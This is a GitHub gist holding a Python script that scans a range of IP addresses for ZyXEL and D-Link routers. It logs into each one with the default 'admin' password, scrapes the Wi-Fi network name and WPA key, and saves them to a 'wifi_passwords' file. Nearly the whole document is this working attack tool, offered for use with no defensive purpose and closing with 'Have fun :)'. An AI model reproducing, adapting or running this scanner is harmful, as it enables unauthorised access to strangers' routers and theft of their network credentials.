Skip to content

Instantly share code, notes, and snippets.

@aruseni
Created April 23, 2014 19:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save aruseni/11228880 to your computer and use it in GitHub Desktop.
Save aruseni/11228880 to your computer and use it in GitHub Desktop.
Requirements: BeautifulSoup. progressbar
import sys
import httplib2
import urllib
import hashlib
import re
import itertools
from BeautifulSoup import BeautifulSoup
import progressbar
usage = """
This program allows you to retrieve router credentials by providing
an IP address or even a range of IP addresses to scan.
Usage
=====
python get_credentials.py [ip address or ip address range]
Examples
========
Scanning IP address range:
python get_credentials.py 192.168.0.1 192.168.1.254
Scanning one IP address:
python get_credentials.py 192.168.0.1
"""
def IPRange(start_ip, end_ip):
try:
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
except ValueError:
print usage
exit()
for octet_list in (start, end):
if len(octet_list) != 4:
print "Please type complete IP addresses " \
"in the dot-decimal notation"
exit()
for octet in octet_list:
if octet < 0 or octet > 254:
print "Unusable IP address"
exit()
if octet_list[3] == 0:
print "Unusable IP address"
exit()
for i in range(4):
if end[i] > start[i]:
break
elif end[i] < start[i]:
print "Invalid IP address range"
exit()
temp = start
ip_range = []
ip_range.append(start_ip)
while temp != end:
start[3] += 1
for i in (3, 2, 1, 0):
if temp[i] == 255:
temp[i] = 1
temp[i-1] += 1
ip_range.append(".".join(map(str, temp)))
return ip_range
class CredentialsRetriever():
def __init__(self, router_host):
self.router_host = router_host
def print_credentials(self):
self.file = open("wifi_passwords", "a")
self.file.write("%s\n" % self.router_host)
self.file.write("ESSID: %s\n" % self.credentials["essid"])
self.file.write("Password: %s\n\n" % self.credentials["password"])
self.file.close()
class ZyxelCredentialsRetriever(CredentialsRetriever):
def get_credentials(self):
self.credentials = None
h = httplib2.Http()
password = "admin"
md5_password = hashlib.md5(password).hexdigest()
post_data = {
"LoginPassword": "ZyXEL ZyWALL Series",
"hiddenPassword": md5_password,
"Prestige_Login": "Login",
}
resp, content = h.request(
"http://%s/Forms/rpAuth_1" % self.router_host,
"POST",
urllib.urlencode(post_data)
)
if resp["content-location"] == \
"http://%s/rpAuth.html" % self.router_host:
# authentication failed
return
resp, content = h.request(
"http://%s/WLAN_General.html" % self.router_host
)
soup = BeautifulSoup(content)
try:
self.credentials = {
"essid":
soup.find("input", {"name": "ESSID"})["value"],
"password":
soup.find("input", {"name": "WLANCfgPSK"})["value"],
}
except TypeError:
pass
class DlinkCredentialsRetriever(CredentialsRetriever):
def get_credentials(self):
self.credentials = None
h = httplib2.Http()
login = "admin"
password = "admin"
h.add_credentials(login, password)
resp, content = h.request(
"http://%s/h_wireless.html" % self.router_host,
)
if resp["status"] != "200":
# authentication failed
return
soup = BeautifulSoup(content)
try:
self.credentials = {
"essid":
soup.find("input", {"name": "ssid"})["value"],
"password":
soup.find("input", {"name": "wpapsk1"})["value"],
}
except TypeError:
pass
# A dictionary representing the credentials retriever classes
# that should be used for retrieving credentials for
# different router types that are determined by the title
# of the page at / or by the basic auth realm.
# Each key represents a title string (or a realm string)
# and each value represents the corresponding
# credentials retriever class.
credentials_retriever_classes = {
".:: Welcome to the Web-Based Configurator::.":
ZyxelCredentialsRetriever,
"DI-624":
DlinkCredentialsRetriever,
}
if len(sys.argv) == 3:
ip_range = IPRange(sys.argv[1], sys.argv[2])
elif len(sys.argv) == 2:
ip_range = [sys.argv[1]]
else:
print usage
exit()
retrieved_passwords_count = 0
bar = progressbar.ProgressBar(maxval=len(ip_range), widgets=[
'Scanning IP addresses: ',
progressbar.Bar(left='[', marker='=', right='] '),
progressbar.SimpleProgress(),
]).start()
for index, ip in enumerate(ip_range):
bar.update(index+1)
h = httplib2.Http()
try:
resp, content = h.request("http://%s/" % ip)
except (AttributeError, httplib2.HttpLib2Error):
continue
if resp.status == 200:
soup = BeautifulSoup(content)
identification_string = soup.find("title").contents[0]
elif resp.status == 401:
identification_string = re.match(
r"^Basic realm=\"(?P<realm>.*)\"$",
resp["www-authenticate"]
).group("realm")
else:
# unable to determine router model
continue
if not identification_string in credentials_retriever_classes:
# unknown router model
continue
credentials_retriever_class = credentials_retriever_classes[
identification_string
]
credentials_retriever = credentials_retriever_class(ip)
credentials_retriever.get_credentials()
if credentials_retriever.credentials:
credentials_retriever.print_credentials()
retrieved_passwords_count += 1
bar.finish()
if retrieved_passwords_count == 0:
print "Nothing found"
else:
if retrieved_passwords_count == 1:
password_pluralized = "password"
else:
password_pluralized = "passwords"
print "Man, you have %s %s!" % (retrieved_passwords_count,
password_pluralized)
print "Have fun :)"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment